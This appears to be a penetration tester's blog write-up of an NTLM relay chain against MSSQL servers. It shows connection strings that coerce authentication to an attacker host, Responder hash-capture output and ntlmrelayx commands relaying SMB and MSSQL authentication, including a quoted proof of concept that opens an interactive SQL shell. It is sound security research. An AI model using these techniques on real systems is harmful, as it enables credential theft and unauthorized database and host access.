Can this be used for coercion?

Turns out, our little DMFs can be abused for coercion. Goodbye xp_dirtree, hello sys.dm_os_enumerate_filesystem and sys.dm_os_file_exists. We became aware of these functions back in March 2024 and it proved to be the missing link in our exploit chain.

TL;DR: Attack flow

1. An API endpoint with default user credentials was identified
2. Reset a privileged account’s password using the API creds, with the compromised account login to app ABC
3. App ABC had the option to read data from a user-specified SQL server. It attempted to authenticate with a domain account assigned to the ABC app. That meant by compromising the account we could gain database access. To do so
   • We specified the application to authenticate with our rouge SQL server:
   • Connection String: Data Source=np:\\IP\pipe\sql\query; Initial Catalog=test; Integrated Security=SSPI;
     • Why? if we specify the source as an IP/hostname, by default the MSSQL connection has the NTLM SPN MSSQLSvc/hostname and MSSQL to MSSQL relay failed at the time of the assessment
     • With the named pipe, NTLM SPN will be CIFS/hostname or HOST/hostname, this enables the classic cross-protocol relay
4. Setup a listener to capture and relay the authentication request
5. A successful cross-protocol relay enabled us to have guest access on one of the MSSQL servers
6. Since this was a high availability cluster, it was running under the privileges of a service account. Using the DMF, sys.dm_os_enumerate_filesystem, to replicate xp_dirtree authentication coercion, we could relay the authentication request to another MSSQL server in a high-availability cluster and gain access as a privileged user
7. The service account was a sysadmin on the database server which allowed us to use xp_cmdshell to gain access on the underlying host

Reset User Password

Now that we had identified the API credentials, we proceeded to reset an administrator’s password. We used an account assigned to us as part of the assessment.

1. Post authentication, we listed all the users

2. We issued a password reset request for the administrator acccount

3. We logged in to the admin panel after a successful password reset

JDBC

The JDBC driver was a little restrictive in how we could force the authentication. The syntax to specify the datasource was as follows:

jdbc:sqlserver://[serverName[\instanceName][:portNumber]][;property=value[;property=value]]

We could coerce the authentication from this as we can specify the serverName and port to our IP address and specify it to use Integrated Authentication as follows:

jdbc:sqlserver://x.x.x.x:1433;integratedSecurity=true;database=DATABASE;

Testing the connection:

$sudo responder -I eth1
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  [REDACTED FOR BREVITY]
[+] Listening for events... 

[MSSQL] NTLMv2 Client   : x.x.x.x
[MSSQL] NTLMv2 Username : domain\account
[MSSQL] NTLMv2 Hash     : account::domain:f4ff5d0[snipped]00          
[SNIPPED]             

All we need now is to relay the authentication to the MSSQL server and we should be good. Unfortunately, we realised that impacket only supported SMB -> MSSQL relay and to perform our attack we would have to write a whole new tool for this. Given the timeline of the engagement, as well as the rest of the testing scope we needed to cover, we decided to table this and focus on the other areas.

We did notice that Eugenie Potseluevskaya had just created a pull request for MSSQL -> MSSQL relay. This should have made our life a lot more easy and we expected it to work, but… unfortunately it didn’t work. Perhaps it was a configuration issue in the environment or maybe a layer 8 issue. We only had a day or two left on the engagement and we could not spend more time debugging so we had to focus on our remaining objectives.

The Proof-of-Concept in the pull request:

[2025-11-16 16:39:07 PST] $ python3 examples/ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-raw-server -i -debug -t mssql://192.168.1.134
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /home/ep/Desktop/impacket_mssql/lib/python3.12/site-packages/impacket
[+] Protocol Attack WINRMS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up MSSQL Server on port 1433
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (MSSQL): Received connection from 192.168.1.1, attacking target mssql://192.168.1.134
[+] (MSSQL): Receieved TDS pre-login from client
[*] Encryption required, switching to TLS
[+] (MSSQL): Sending our own TDS pre-login response to client
[+] (MSSQL): Parsing the client's login request
[*] (MSSQL): Client login request:
[*] (MSSQL): Hostname    : lHtfybNt
[*] (MSSQL): Client Name : ujKkODqs
[*] (MSSQL): App Name    : ujKkODqs
[*] (MSSQL): Database    : msdb
[+] (MSSQL): Removed the original database: msdb, the database is empty now. Change the --mssql-db setting if you want to specify the database
[+] (MSSQL): Relaying authentication to server
[*] (MSSQL): Authenticating connection from test.local/sqluser@192.168.88.1 against mssql://192.168.1.134 SUCCEED [1]
[*] mssql://TEST.LOCAL/SQLUSER@192.168.1.134 [1] -> Started interactive MSSQL shell via TCP on 127.0.0.1:11000

Why Did Our Attempt Fail?

This is our hypothesis as to why it failed, but we are happy to be corrected.

Let us look at the Wireshark captures to see what was happening. The author of the MSSQL to MSSQL relay used impacket in the PoC, so let us try the same.

Why do we think they used impacket? If you look at the Hostname, Server Name and the App Name, it used an arbitrary name and our local attempt was very similar

[*] (MSSQL): Received connection from y.y.y.y, attacking target mssql://x.x.x.x
[+] (MSSQL): Receieved TDS pre-login from client
[*] Encryption required, switching to TLS
[+] (MSSQL): Sending our own TDS pre-login response to client
[+] (MSSQL): Parsing the client's login request
[*] (MSSQL): Client login request:
[*] (MSSQL): Hostname    : LckQcmYn
[*] (MSSQL): Server Name : y.y.y.y
[*] (MSSQL): Client Name : AFuTlaCX
[*] (MSSQL): App Name    : AFuTlaCX
[+] (MSSQL): Removed the original database: , the database is empty now. Change the --mssql-db setting if you want to specify the database
[+] (MSSQL): Relaying authentication to server
[*] (MSSQL): Authenticating connection from domain/adminaccount@y.y.y.y against mssql://x.x.x.x SUCCEED [1]
[*] mssql://domain/svcaccount@x.x.x.x [1] -> Executing SQL: Select user_name()
      
---   
dbo   

Inspecting Wireshark:

We can see the NTLM SPN is set to CIFS when impacket tries to perform windows/integrated authentication. But the JDBC driver uses the NTLM SPN MSSQLSvc by default when performing windows/integrated authentication with the MSSQL server. We tried authentication with SSMS and observed the NTLM SPN was set to MSSQLSvc and MSSQL to MSSQL relay failed.

(MSSQL): Sending our own TDS pre-login response to client
[+] (MSSQL): Parsing the client's login request
[*] (MSSQL): Client login request:
[*] (MSSQL): Hostname    : DEBUGGER
[*] (MSSQL): Server Name : y.y.y.y  
[*] (MSSQL): Client Name : Framework Microsoft SqlClient Data Provider
[*] (MSSQL): App Name    : Microsoft SQL Server Management Studio
[+] (MSSQL): Removed the original database: , the database is empty now. Change the --mssql-db setting if you want to specify the database
[+] (MSSQL): Relaying authentication to server
[-] ERROR(TARGET): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
[-] (MSSQL): Authenticating against NTLM failed
[-] (MSSQL): Authenticating against mssql://x.x.x.x as domain/svcaccount FAILED

With SSMS, you could set the NTLM SPN to CIFS or HOST during authentication. However this would have to be done manually and we could not use it within the application. Additionally, the JDBC driver did not support setting our own NTLM SPN as the application was validating the JDBC connection string.

We eventually found another location in the application which allowed us to specify our own data source.

.NET SQL Driver

Another location in the application allowed us to specify our own data source. The syntax for specifying the source is shown below:

Server=myServerAddress;Database=myDataBase;Trusted_Connection=True;

We hit a roadblock again, the authentication request was using the NTLM SPN: MSSQLSvc. But, we knew that MSSQL supported named pipe. Given this was a .Net SQL driver, it should be possible for us to specify the data source and connect over named pipe with this syntax :

Data Source=np:\\x.x.x.x\pipe\sql\query; Initial Catalog=test; Integrated Security=SSPI;

This forced the application to authenticate with our host over SMB with the NTLM SPN: CIFS as shown below:

With our new found success, we could now proceed to relay the authentication requests to the target MSSQL server and perform the classic cross-protocol: SMB -> MSSQL relay.

impacket-ntlmrelayx -smb2support -t mssql://x.x.x.x -q 'Select user_name()' --no-http-server --no-wcf-server --no-raw-server --no-multirelay 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[REDACTED FOR BREVITY]
[*] Setting up SMB Server on port 445
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from y.y.y.y, attacking target mssql://x.x.x.x
[*] Authenticating against mssql://x.x.x.x as domain/svcaccount SUCCEED
[*] Executing SQL: Select user_name()
        
-----   
guest

Enter Distributed Management Views, Functions and Objects

We will discuss in depth about views, functions and objects in another blog, but it should be noted that the SELECT permission for all of them are granted to the public role by default. There were several functions which are useful to us, and one such function was sys.dm_os_enumerate_filesystem since it could be used to gain information about a user specified location on the underlying OS. This was very handy as it could be used to coerce authentication for a cross protocol relay. An interesting point to note is that executing xp_fileexist as a low-priv user does not return a response, but does still coerce authentication. However, in contrast, executing sys.dm_os_enumerate_filesystem as a low-priv user both returns a response and coerces authentication. But, as mentioned, find out more about all of this in our next blog.